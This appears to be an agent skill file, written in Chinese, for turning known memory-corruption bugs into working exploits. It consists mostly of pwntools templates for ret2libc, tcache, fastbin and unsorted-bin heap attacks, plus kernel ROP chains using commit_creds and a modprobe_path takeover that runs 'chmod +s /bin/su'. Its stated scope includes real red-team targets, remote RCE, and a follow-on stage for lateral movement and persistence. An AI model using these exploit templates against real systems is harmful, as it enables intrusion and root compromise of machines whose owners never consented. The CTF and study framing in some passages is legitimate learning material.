Pwn Chain

从漏洞点到 Working Exploit (Pwn Chain)

适用范围

当任务属于以下场景时使用本 skill：

1. 拿到二进制 + 已知漏洞点 — 静态/审计/fuzz 已经找到溢出/UAF/double free，需要从触发到拿 shell 2. CTF 题已经本地通了，远程打不通 — 远端环境差异导致脚本失效，需要稳定化 3. 真实目标的二进制利用 — SRC / 红队场景下，已经识别到内存损坏漏洞，需要构造 RCE 4. Linux 内核驱动的 ioctl bug — 用户态触发，目标是提权到 root

前提：你已经知道"哪里炸了"。本 skill 不负责发现漏洞（那是 fuzzing / 审计），只负责"从漏洞点写出 exploit"。

与其他 skill 的分工

reverse-engineering/ 关注"理解程序在干什么"（模式识别、协议还原、解 CTF 题里的奇怪机制）；本 skill 关注"把已经看懂的漏洞变成可执行的攻击"。两者经常配套使用，但分工清晰。

核心工作流

Step 1: 确认漏洞类型 + 保护机制
   ├─ checksec ./vuln（NX / Canary / PIE / RELRO / Fortify）
   ├─ file ./vuln  + readelf -d ./vuln
   ├─ 漏洞分类：栈溢出 / 格式化字符串 / 堆 (UAF/DF/OF) / 整数 / 竞态 / 内核
   └─ → 决定走哪个 references/

Step 2: 选择利用策略
   ├─ NX 关 + 无 ASLR → 直接 shellcode
   ├─ NX 开 + 给 libc → ret2libc / one_gadget
   ├─ NX 开 + 不给 libc → leak 后 libc-database 反查
   ├─ 堆 → 按 glibc 版本对应技术 (tcache/fastbin/unsorted/large)
   └─ 内核 → commit_creds / modprobe_path / core_pattern

Step 3: 准备 libc + gadget
   ├─ libc-database：./find puts 0x6f0
   ├─ ROPgadget --binary ./libc.so.6 --only "pop|ret"
   ├─ one_gadget ./libc.so.6
   └─ 计算 base：leak_addr - libc.sym['puts']

Step 4: 写 pwntools 模板（本地 process）
   ├─ context.binary = ELF('./vuln')
   ├─ p = process('./vuln')  /  p = gdb.debug('./vuln','b *main+xx')
   ├─ payload = cyclic(N) + p64(ret) + ...
   └─ p.interactive()

Step 5: 本地通
   ├─ 反复 attach + 看寄存器 + 调 offset
   ├─ 用 pwndbg/GEF 的 vmmap / heap / bins / telescope
   └─ 跑通后切 remote()

Step 6: 远程稳定化
   ├─ libc 偏移：用 leak 反查 libc-database，不要拍脑袋
   ├─ 栈对齐：16-byte 不对齐 → movaps 崩 → 加一个 ret gadget
   ├─ 远程网络延迟 → recvuntil 精确锚字符串，禁用模糊 sleep
   ├─ 远程缓冲：sendlineafter 比 sendline 更稳
   ├─ 堆喷成功率：放大 spray 数量 + 留 padding chunk 防合并
   └─ 多次跑：写 while True 验证成功率 ≥ 95%

典型场景

场景 1：远程 64 位二进制 (NX+PIE+canary, 给了 libc)

已有：./vuln（64-bit ELF, NX, PIE, canary）+ ./libc.so.6 + nc host port
漏洞：read(buf, 0x200) 但 buf 只有 0x40 字节 → 栈溢出
保护：canary 拦住，PIE 让 .text 随机化

策略：
1. 先 leak canary（栈/格式化字符串/部分读）
2. 再 leak 一个 libc 函数地址（puts@got）
3. 用 libc.address = leaked - libc.sym['puts'] 算 libc base
4. one_gadget ./libc.so.6 选一个约束能满足的 magic gadget
5. payload = padding + canary + saved_rbp + (pop_rdi + bin_sh + system) 或直接 one_gadget
6. 加一个 ret gadget 修栈对齐（关键！）

完整模板参见 references/stack-pwn.md。

场景 2：Linux 内核驱动 ioctl 越界写 → 拿 root

已有：vmlinux + bzImage + initramfs.cpio.gz + 自定义 vuln.ko
漏洞：ioctl(0x1337, ptr) 里 copy_from_user 长度可控 → kernel heap overflow (kmalloc-64 slab)
保护：SMEP, SMAP, KASLR, KPTI

策略：
1. 改 init 脚本拿到 root shell（CTF）或先 leak KASLR base 再继续（真实）
2. 通过 /proc/kallsyms（可能限权）或未初始化堆喷 leak 内核基址
3. 在 kmalloc-64 slab 里喷 tty_struct / msg_msg / pipe_buffer
4. 覆盖 vtable 指针指向用户态 → 不行（SMEP），改走 stack pivot + 内核 ROP
5. ROP 链：prepare_kernel_cred(0) → commit_creds → swapgs+iretq → 用户态 execve("/bin/sh")
6. 或更省事：覆盖 modprobe_path 为 "/tmp/x"，写一个 /tmp/x，然后触发 modprobe

完整模板参见 references/kernel-pwn.md。

按需自举 (On-Demand Bootstrap)

工具依赖

Bootstrap 检查脚本

# 一键检查 + 安装核心工具
for t in pwntools ropgadget ropper; do
  pip show $t >/dev/null 2>&1 || pip install $t
done

command -v one_gadget >/dev/null || gem install one_gadget

[ -d ~/tools/libc-database ] || git clone https://github.com/niklasb/libc-database ~/tools/libc-database
[ -d ~/tools/libc-database/db ] || (cd ~/tools/libc-database && ./get ubuntu debian)

[ -d ~/tools/pwndbg ] || (git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg && cd ~/tools/pwndbg && ./setup.sh)

同一工具自动安装失败 2 次后

停止重试，输出结构化手动安装步骤（pip 源 / gem 源 / git 国内镜像 / apt 源）让用户确认。

路由上下文

上游入口: skills/SKILL.md（总控）、routing.md 触发条件: 有二进制 + 已识别漏洞点，需要写 exploit

上游 skill（先用它们再回到本 skill）:

• 还没看懂二进制在干什么 → reverse-engineering/
• 需要静态详细分析 → ida-reverse/
• 快速侦察确认架构/保护机制 → radare2/

下游 skill（拿到 shell 之后）:

• 整合进完整攻击链（横向、提权、持久化）→ attack-chain/

子模块导航:

• 栈类利用（ret2libc / ret2csu / one_gadget / 栈对齐）→ references/stack-pwn.md
• 堆类利用（tcache / fastbin / unsorted / large bin / FILE struct）→ references/heap-pwn.md
• 内核 pwn（kROP / SMEP-SMAP 绕过 / KASLR leak / modprobe_path）→ references/kernel-pwn.md

注意事项

• 不要在本地跑通就交差 — 本地 libc / ASLR / 网络环境都和远程不同，必须在 remote 模式下连续跑 20 次以上验证稳定性
• libc 版本必须确认 — 用 leak + libc-database 反查，不要假设是 Ubuntu 22.04 默认 libc
• 栈对齐是 64 位的常见坑 — movaps xmm0, [rsp] 在 rsp 未 16 字节对齐时段错误，加一个空 ret gadget 解决
• 堆利用对 glibc 版本极敏感 — tcache 在 2.27 引入，safe-linking 在 2.32 引入，2.34 移除 hooks，每个版本利用路径不同
• 内核 pwn 必须先确认 cpu 标志 — qemu 启动参数里有没有 +smep +smap +pku 直接决定 ROP 链怎么写
• KASLR leak 一次就够 — 拿到一个内核地址后所有地址都算偏移，不要反复 leak

堆类利用 (Heap Pwn)

glibc 版本差异（必看）

堆利用的所有技术都跟 glibc 版本强绑定。先确认版本：

./libc.so.6 | head -1
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.

# 或 strings
strings ./libc.so.6 | grep "GNU C Library"

tcache poisoning (2.27 - 2.31)

原理

tcache 是 per-thread cache，每个 size class 一条链表，单链表（只有 fd）。 double free 检查在 2.29 之前只看链表头是不是自己，不看遍历。

利用模板（2.27 - 2.31）

from pwn import *

p = process('./vuln')
libc = ELF('./libc.so.6')

def add(idx, size, data=b'a'):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'idx: ', str(idx).encode())
    p.sendlineafter(b'size: ', str(size).encode())
    p.sendafter(b'data: ', data)

def free(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx).encode())

def show(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx).encode())
    return p.recvline().strip()

# === Step 1: leak libc base ===
# 申请大于 tcache 范围的 chunk（>0x408），free 进 unsorted bin，残留 main_arena 指针
for i in range(8):
    add(i, 0x80)
add(8, 0x80)  # 防止合并
for i in range(7):
    free(i)
free(7)       # 第 8 个进 unsorted bin，fd/bk 指向 main_arena+96
add(9, 0x80)  # 切回来一部分，保留 fd
leak = u64(show(9).ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0  # main_arena+96 偏移，glibc 2.27 amd64
log.success(f'libc = {hex(libc.address)}')

# === Step 2: tcache poisoning → 写 __free_hook ===
add(10, 0x30)
add(11, 0x30)
free(10)
free(11)
# 用 UAF 改 chunk11 的 fd 指向 __free_hook
edit(11, p64(libc.sym['__free_hook']))
add(12, 0x30)  # 取出 chunk11
add(13, 0x30, p64(libc.sym['system']))  # 取出来的就是 __free_hook 地址，写 system

# 触发：free 一个内容为 "/bin/sh\x00" 的 chunk
add(14, 0x30, b'/bin/sh\x00')
free(14)

p.interactive()

safe-linking 绕过 (2.32+)

原理：tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或：
    PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr

绕过：
1. 必须先 leak 一个堆地址（heap base）
2. 计算 obfuscated 值：fake_fd_obf = (chunk_addr >> 12) ^ target
3. 写进去

def protect_ptr(pos, ptr):
    return (pos >> 12) ^ ptr

# leak heap base（unsorted bin 残留 / tcache fd 残留）
heap_base = leaked_heap & ~0xfff

# poisoning
fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
edit(chunk_id, p64(fake_fd))

fastbin attack (传统，2.26 及之前为主)

关键点：
1. fastbin 单链表（只有 fd），无 size 检查除了 chunk size 必须匹配
2. 2.27 后 tcache 优先，fastbin 只有 tcache 满了才用
3. 仍然需要伪造一个看起来像 chunk 的内存（size 字段 = 真实 chunk size，± 一些）

# double free
add(0, 0x60)
add(1, 0x60)
free(0)
free(1)
free(0)  # fastbin: 0 → 1 → 0

# 把 fd 改成 fake chunk（要求 fake_addr + 8 处的 size 字节匹配 0x70）
add(2, 0x60, p64(fake_addr))
add(3, 0x60)
add(4, 0x60)  # 取出 fake_addr 处的 chunk

unsorted bin attack（仅 2.28 及之前）

原理：写任意地址为 main_arena+88
2.29 起加了 bck->fd == victim 的检查，绕不过
用途：覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack

# 申请 unsorted size chunk
add(0, 0x100)
add(1, 0x100)  # 防止 top consolidation
free(0)
# UAF 改 bk 指针为 target - 0x10
edit(0, p64(0) + p64(target - 0x10))
add(2, 0x100)  # 从 unsorted 取出 → unlink → main_arena+88 写到 target

large bin attack

原理：large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
2.32 起也加了 chunk size 检查，但仍可用于改 global_max_fast、_IO_list_all 等
高级技巧，常用于 House of Husk 等组合拳

House of XXX 速查

真实利用步骤（通用 4 步）

Step 1: leak heap base
  - 申请 chunk → free 到 tcache（2.32+ 保留 obfuscated fd） → show → 反推 heap
  - 或：申请大 chunk → free 到 unsorted → 切回 → show fd

Step 2: leak libc base
  - 大 chunk free 到 unsorted bin，fd/bk 残留 main_arena 地址
  - show → leak → libc.address = leak - main_arena_offset

Step 3: 控 IP
  - 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
  - 2.34+: FILE struct 攻击（_IO_2_1_stdout_ / stderr），改 vtable → _IO_wfile_jumps
  - 或：劫持 exit handlers（__exit_funcs / tls_dtor_list）

Step 4: getshell
  - free_hook = system, free("/bin/sh") → shell
  - 2.34+: setcontext + 53 gadget → rop chain in heap → execve

libc 2.34+ 没有 hook 之后的替代路径

FILE struct 攻击（_IO_2_1_stdout_ / _IO_2_1_stderr_）

目标：当程序调用 puts/printf 时，最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
劫持：
  1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
  2. 伪造 vtable，让 __overflow 字段指向 system 或 setcontext
  3. 让 fp（FILE*）本身的前 8 字节是 "/bin/sh\x00"（作为 system 的 rdi）
触发：任何 puts/printf/abort/exit 都会冲刷 stderr

Exit handlers (__exit_funcs / tls_dtor_list)

原理：__run_exit_handlers 遍历 __exit_funcs 链表，调用每个 dtor
劫持：改链表节点的 func 指针指向 system，arg 指向 "/bin/sh"
注意：2.34+ 加了 PTR_DEMANGLE，需要 leak tls 里的 fs:[0x30] guard 值才能伪造

tls_dtor_list（更现代）

__call_tls_dtors 遍历，结构类似，同样要绕过 PTR_DEMANGLE
适用：程序退出时会走，比 FILE 攻击更通用

pwndbg / GEF 堆调试命令

# pwndbg
heap              # 显示当前 arena 所有 chunk
bins              # 显示 tcache / fastbin / unsorted / small / large bins
tcache            # 单独看 tcache
find_fake_fast <addr> <size>  # 找一个能用作 fake chunk 的 fd 写入点
vis_heap_chunks   # 可视化堆布局

# GEF
heap chunks
heap bins fast
heap bins tcache
heap chunk <addr>

典型 pwntools 模板（heap menu 题）

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')

p = process('./vuln') if not args.REMOTE else remote('host', 1337)

# IO 包装
def menu(choice):
    p.sendlineafter(b'choice:', str(choice).encode())

def add(idx, size, data=b'\n'):
    menu(1)
    p.sendlineafter(b'idx:', str(idx).encode())
    p.sendlineafter(b'size:', str(size).encode())
    if data != b'\n':
        p.sendafter(b'data:', data)

def free(idx):
    menu(2)
    p.sendlineafter(b'idx:', str(idx).encode())

def show(idx):
    menu(3)
    p.sendlineafter(b'idx:', str(idx).encode())
    return p.recvline().strip()

def edit(idx, data):
    menu(4)
    p.sendlineafter(b'idx:', str(idx).encode())
    p.sendafter(b'data:', data)

# === 后续根据漏洞类型选择技术栈 ===

注意事项

• glibc 版本是第一性问题 — 同一个二进制配 2.27 libc 和 2.34 libc，利用路径完全不同
• tcache 容量 = 7（每个 size class）— 喷射够 7 个才会溢出到 unsorted/fastbin
• chunk size = 用户请求 + 0x10 头部，向 0x10 对齐（不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用）
• 远程堆喷不稳 — 服务端 fork 模型每次连接 brk/mmap 可能不同，要做随机化测试
• 不要在 attack 链中遗留 unsorted 残留 — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
• safe-linking 错误率 — 计算 PROTECT_PTR 时记得是 pos >> 12，pos 是要写入的地址不是要指向的地址

内核 Pwn (Kernel Pwn)

准备环境

典型内核题包：

kernel/
├── bzImage          # 压缩内核镜像
├── vmlinux          # 未压缩内核（带符号，用于 gdb）
├── initramfs.cpio.gz / rootfs.img
├── vuln.ko          # 漏洞驱动
├── run.sh           # qemu 启动脚本
└── (.config)        # 编译配置，可选

拆 initramfs 改 init 脚本

mkdir initramfs && cd initramfs
zcat ../initramfs.cpio.gz | cpio -idm
# 或 newc 格式：
# cpio -idm < ../initramfs.cpio

# 改 init 拿 root（CTF 学习用，真实题目通常 setuid 1000）
sed -i 's|setuidgid 1000|setuidgid 0|g' init
# 或注释掉 user 切换那一行

# 重新打包
find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
cd ..

提取 vmlinux（如果只给了 bzImage）

# 用 extract-vmlinux 脚本（kernel 源码 scripts/）
/usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinux

QEMU 启动参数模板

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./initramfs.cpio.gz \
    -cpu kvm64,+smep,+smap \
    -append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
    -monitor /dev/null \
    -nographic \
    -no-reboot \
    -s    # 开 gdb 端口 1234

关键参数对应的保护：

调试

# 终端 1
./run.sh   # 带 -s

# 终端 2
gdb vmlinux
(gdb) target remote :1234
(gdb) b vulnerable_ioctl
(gdb) c

GEF 推荐用 bata24 维护的 fork，对内核结构体有专门 pretty-print。

漏洞类型分流

slab 喷射（堆 pwn 核心）

把可控大小的内核对象喷到漏洞 slab，覆盖目标对象。

msg_msg 喷射示例

// 用户态触发
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

struct {
    long mtype;
    char mtext[0x80 - 0x30];  // 加上 msg_msg 头 0x30 = kmalloc-128
} msg = { .mtype = 0x1337 };
memset(msg.mtext, 'A', sizeof(msg.mtext));

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);   // 喷到 kmalloc-128
// ... 触发漏洞覆盖
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak

提权路径

1. commit_creds(prepare_kernel_cred(0)) ROP

经典且通用。前提：能控 RIP（栈溢出 / vtable 劫持）。

// 用户态 ROP 链
uint64_t rop[] = {
    pop_rdi,                          // pop rdi; ret
    0,                                // arg: 0
    prepare_kernel_cred,              // → 返回 root cred 到 rax
    pop_rdi,                          // pop rdi; ret
    /* 占位，下面 mov 会覆盖 */ 0,
    /* mov rdi, rax; ... ; ret */ 0,  // 转 rax→rdi（部分需要专门 gadget）
    commit_creds,                     // 设置当前进程 cred = root
    swapgs_restore_regs_and_return_to_usermode + 22,  // 跳过 push 序列
    0, 0,                             // rax, rdi 占位
    user_rip,                         // 用户态返回函数（保存了 cs/ss）
    user_cs, user_rflags, user_rsp, user_ss,
};

关键 gadget（要在 vmlinux 里 ROPgadget 找）:

ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'

返回用户态前必须保存 cs/ss/rflags/rsp：

void save_state() {
    __asm__(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq; popq %2\n"
        "movq %%rsp, %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
}
void shell() { system("/bin/sh"); }

2. modprobe_path 改 /tmp/x（最省事）

原理：
  - 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
  - 当 execve 一个不认识 magic 的文件时，内核调用 modprobe_path 以 root 执行
  - 改成 "/tmp/x"，写 /tmp/x（chmod +x），触发未知 magic 执行
  
适用：有任意写原语，但不一定能 ROP

// 1. 准备 payload
system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
system("chmod +x /tmp/x");

// 2. 准备触发文件
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");

// 3. 漏洞写：把 modprobe_path 改成 "/tmp/x\x00"
arbitrary_write(modprobe_path_addr, "/tmp/x\x00");

// 4. 触发
system("/tmp/trigger");
// 内核 root 跑 /tmp/x，做了 chmod +s /bin/su

// 5. 利用 setuid
system("/bin/su");

modprobe_path 地址来源：vmlinux 里符号，或 /proc/kallsyms（如果 kptr_restrict=0）。

3. core_pattern hijack

类似思想：/proc/sys/kernel/core_pattern 控制 coredump 处理程序
改成 "|/tmp/x %P"，让进程崩溃时调用
缺点：需要触发 coredump，比 modprobe_path 笨重

4. 内核 ROP 关 SMEP/SMAP

如果就是想跳回用户态 shellcode（学习目的），可以 ROP 关 cr4 的 bit:

// CR4: SMEP = bit 20, SMAP = bit 21
// 关 SMEP+SMAP 后，jmp 到用户态 shellcode 才能跑
uint64_t rop[] = {
    pop_rdi,
    0x6f0,                  // CR4 期望值（去掉 SMEP/SMAP 位）
    mov_cr4_rdi,            // "mov cr4, rdi; pop rbp; ret" 之类
    0,
    user_shellcode_addr,    // 跳过去（如果还没关 SMEP 这步会失败）
};

实际上真实利用基本不走这条路 — 直接 commit_creds ROP 更短更稳。

KASLR leak 渠道

// 经典：从 /proc/kallsyms 读
FILE *f = fopen("/proc/kallsyms", "r");
char line[256];
unsigned long commit_creds = 0;
while (fgets(line, sizeof(line), f)) {
    if (strstr(line, " commit_creds")) {
        commit_creds = strtoul(line, NULL, 16);
        break;
    }
}
unsigned long kbase = commit_creds - 0xXXXXX;  // 偏移看 vmlinux

完整 exploit 模板（用户态 + ioctl 触发 + ROP 提权 + shell）

// exploit.c — 内核 pwn 通用骨架
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

static unsigned long user_cs, user_ss, user_rflags, user_rsp;

static void save_state(void) {
    __asm__ volatile(
        "movq %%cs,   %0\n"
        "movq %%ss,   %1\n"
        "pushfq; popq %2\n"
        "movq %%rsp,  %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
        :: "memory");
}

static void win(void) {
    if (getuid() == 0) {
        puts("[+] root!");
        system("/bin/sh");
    } else {
        puts("[-] not root");
    }
    exit(0);
}

// === KASLR base（先 leak 或 nokaslr 时直接写死） ===
#define KBASE_DEFAULT  0xffffffff81000000UL
#define OFF_COMMIT_CREDS         0x0xxxxx
#define OFF_PREPARE_KERNEL_CRED  0x0xxxxx
#define OFF_POP_RDI              0x0xxxxx
#define OFF_MOV_RDI_RAX          0x0xxxxx
#define OFF_SWAPGS_RESTORE       0x0xxxxx

int main(void) {
    save_state();

    // 1. leak KASLR base（这里假设 /proc/kallsyms 可读，或自己写一个 leak primitive）
    unsigned long kbase = leak_kbase();

    unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
    unsigned long commit_creds        = kbase + OFF_COMMIT_CREDS;
    unsigned long pop_rdi             = kbase + OFF_POP_RDI;
    unsigned long mov_rdi_rax         = kbase + OFF_MOV_RDI_RAX;
    unsigned long swapgs_restore      = kbase + OFF_SWAPGS_RESTORE + 22;

    // 2. 构造 ROP（在用户栈或在喷出来的 fake 栈上）
    unsigned long *rop = mmap((void*)0x100000, 0x1000,
                              PROT_READ|PROT_WRITE,
                              MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    int i = 0;
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = mov_rdi_rax;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore;
    rop[i++] = 0;  // rax
    rop[i++] = 0;  // rdi
    rop[i++] = (unsigned long)win;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = (unsigned long)(rop + 100);  // 临时 user rsp，可指 mmap 高处
    rop[i++] = user_ss;

    // 3. 触发漏洞，让内核 RIP 跳到 rop[0]
    int fd = open("/dev/vuln", O_RDWR);
    trigger(fd, rop);   // 题目相关：ioctl / write / read

    return 0;
}

学习参考：CVE-2022-0185

漏洞：fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
      → kmalloc 堆缓冲区溢出，size 任意，data 任意

为什么是好的学习样本：
1. 不需要 root 触发（unprivileged user namespace）
2. 溢出大小完全可控
3. 公开有完整 writeup + PoC
4. 综合了：user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用

学习路径：
1. 编译带 CONFIG_USER_NS=y 的内核
2. 跑 Crusaders of Rust 的原版 PoC：https://www.openwall.com/lists/oss-security/2022/01/18/7
3. 看 willsroot.io 的官方 writeup（PortSwigger 收录的版本）
4. 手动重写：把 msg_msg 喷射改成 pipe_buffer 喷射版本（练习不同 slab 路径）
5. 加上 KASLR leak（原版用 /proc/kallsyms，挑战版禁用后改 OOB read）

主要技术点对应本文档的章节：

• 漏洞类型 → "内核堆溢出"
• 喷射对象 → "msg_msg 喷射"
• 提权方法 → "commit_creds ROP" 或 "modprobe_path"
• KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"

注意事项

• CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT 让内核栈基址每次 syscall 都随机偏移 0-1023，影响所有依赖固定栈偏移的利用
• CONFIG_SLAB_FREELIST_RANDOM / HARDENED 让 slab 内对象分配随机化，喷射成功率下降，要多喷
• CONFIG_STATIC_USERMODEHELPER 把 modprobe_path 设为只读 static_usermodehelper_path，modprobe 攻击失效
• KPTI 让用户态/内核态页表分离，返回用户态必须走 swapgs_restore_regs_and_return_to_usermode 这个 trampoline，不能直接 swapgs+iretq
• FG-KASLR（function-granular KASLR）让函数级别随机化，需要 leak 多个符号反推每个函数偏移
• CET / IBT（Intel 控制流强制）让间接跳转必须落在 ENDBR 指令，部分 gadget 失效
• 不要在内核里调 printk 输出测试 — 串口 IO 会改变时序，破坏 race；用一个 magic 寄存器值（rcx=0xdeadbeef）+ gdb watch 来调试

栈类利用 (Stack Pwn)

触发条件与前置检测

checksec 解读

checksec --file=./vuln
# 或 pwntools 自带
python -c "from pwn import *; print(ELF('./vuln'))"

栈溢出长度精确定位

# pwntools cyclic 模式
from pwn import *
context.arch = 'amd64'

# 1. 生成 cyclic pattern
payload = cyclic(200)

# 2. 喂给程序触发崩溃
p = process('./vuln')
p.sendline(payload)
p.wait()

# 3. 从 core dump 读 RSP 上的值
core = p.corefile
fault = core.fault_addr  # 或 core.rsp 指向的 8 字节
offset = cyclic_find(fault & 0xffffffff)  # 32-bit 模式
# 64-bit 用 cyclic_find(p64(fault)[:8])
log.info(f"offset = {offset}")

32 / 64 位 calling convention 速查

ret2libc 完整 pwntools 模板

#!/usr/bin/env python3
from pwn import *

# === 环境配置 ===
exe = './vuln'
libc_path = './libc.so.6'
HOST, PORT = 'chal.example.com', 31337

context.binary = elf = ELF(exe)
context.log_level = 'info'
libc = ELF(libc_path)

# 自动 patchelf 让本地用题目给的 libc
# patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln

def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    if args.GDB:
        return gdb.debug(exe, gdbscript='''
            b *main+123
            continue
        ''')
    return process(exe)

# === Stage 1: leak libc ===
p = conn()

OFFSET = 0x48  # 通过 cyclic 测出来
pop_rdi = 0x0000000000401383  # ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
ret     = 0x000000000040101a  # 用于栈对齐

payload  = b'A' * OFFSET
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])     # 让 puts 打印 puts@got 自己的地址
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])     # 回到 main，复用栈溢出做第二轮

p.sendlineafter(b'> ', payload)

# 接收 leak（注意 recvuntil 锚字符串，不要用 sleep）
p.recvuntil(b'bye\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'leaked puts @ {hex(leak)}')

# 反查 libc base
libc.address = leak - libc.sym['puts']
log.success(f'libc base = {hex(libc.address)}')

# === Stage 2: ret2libc system("/bin/sh") ===
binsh    = next(libc.search(b'/bin/sh\x00'))
system   = libc.sym['system']

payload  = b'A' * OFFSET
payload += p64(ret)        # 关键：补齐 16-byte 对齐
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter(b'> ', payload)

p.interactive()

栈对齐坑（必看）

现象：本地能打通，远程 system 一进去就 SIGSEGV
原因：libc 的 system → do_system → 内部某处 movaps xmm0, [rsp]
       要求 rsp 16-byte 对齐
失败：你的 ROP 链跳进 system 时，rsp 末位是 0x8 而不是 0x0
修复：在 ROP 链里插一个 `ret` gadget（消耗 8 字节，让 rsp 重新对齐）

ret2csu（万能 gadget）

当二进制里没有 pop rdx; ret 这种第三参数 gadget 时，用 __libc_csu_init 里的固定结构（glibc < 2.34 静态链接的程序里都有）。

__libc_csu_init 末尾固定 pattern：
    add  rsp, 8
    pop  rbx
    pop  rbp
    pop  r12
    pop  r13
    pop  r14
    pop  r15
    ret

中间还有：
    mov  rdx, r15  ; r15 → rdx
    mov  rsi, r14  ; r14 → rsi
    mov  edi, r13d ; r13 → rdi (低 32 位)
    call qword ptr [r12 + rbx*8]

pwntools 写法：

csu_pop = 0x40119a  # 第一段（pop rbx..r15; ret）
csu_call = 0x401180  # 第二段（mov rdx,r15; ... ; call [r12+rbx*8]）

def csu(rdi, rsi, rdx, call_target):
    p  = p64(csu_pop)
    p += p64(0)              # rbx = 0
    p += p64(1)              # rbp = 1（要使后续 cmp rbx,rbp 通过 → rbx+1 == rbp）
    p += p64(call_target)    # r12 = [r12+rbx*8] 解引用得到目标
    p += p64(rdi)            # r13
    p += p64(rsi)            # r14
    p += p64(rdx)            # r15
    p += p64(csu_call)
    p += b'\x00' * 8 * 7     # 第二段 ret 后又 pop 7 个
    return p

适用：bss 里写一个函数指针，再用 csu 调用它，常用于 read(0, bss, 0x100) 阶段后跳到 bss 执行 ROP。

one_gadget 用法

one_gadget ./libc.so.6

# 输出类似：
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

使用：

og = [0xe3afe, 0xe3b01, 0xe3b04]
payload  = b'A' * OFFSET
payload += p64(ret)
payload += p64(libc.address + og[1])  # 挑约束能满足的那个

坑：one_gadget 在某些 libc 版本（2.34+）约束极难满足，老老实实 ret2libc 更稳。

libc-database 反查

场景：题目没给 libc，只能 leak 几个函数地址反推版本。

cd ~/tools/libc-database

# 用 leak 出来的 puts 和 read 地址（取后 3 位）反查
./find puts 0x6f0 read 0xfd
# 输出：libc6_2.31-0ubuntu9.9_amd64

# 拿对应 libc 的所有符号偏移
./dump libc6_2.31-0ubuntu9.9_amd64

# 下载实际 libc.so.6 到本地
ls db/libc6_2.31-0ubuntu9.9_amd64.so

pwntools 集成：

# 在线 libc-database 查询（无需本地）
from pwnlib.libcdb import search_by_symbol_offsets
libs = search_by_symbol_offsets({'puts': 0x6f0, 'read': 0xfd})
libc = ELF(libs[0])

ROPgadget 速查

# 基础：pop|ret 单 reg
ROPgadget --binary ./vuln --only "pop|ret"

# 找 syscall
ROPgadget --binary ./vuln | grep ': syscall'

# 找带特定字节
ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep 'pop rdi'

# 找字符串
ROPgadget --binary ./libc.so.6 --string '/bin/sh'

# 输出 JSON 给程序解析
ROPgadget --binary ./vuln --json > gadgets.json

Ropper 替代（架构支持更广）：

ropper --file ./vuln --search "pop rdi; ret"
ropper --file ./libc.so.6 --search "syscall"

远程稳定化清单

调试技巧

# pwntools 内嵌 gdb attach
p = process('./vuln')
gdb.attach(p, '''
    b *main+0x123
    b *0x401234
    commands
        telescope $rsp 20
        continue
    end
''')

# 一开始就在 gdb 里跑
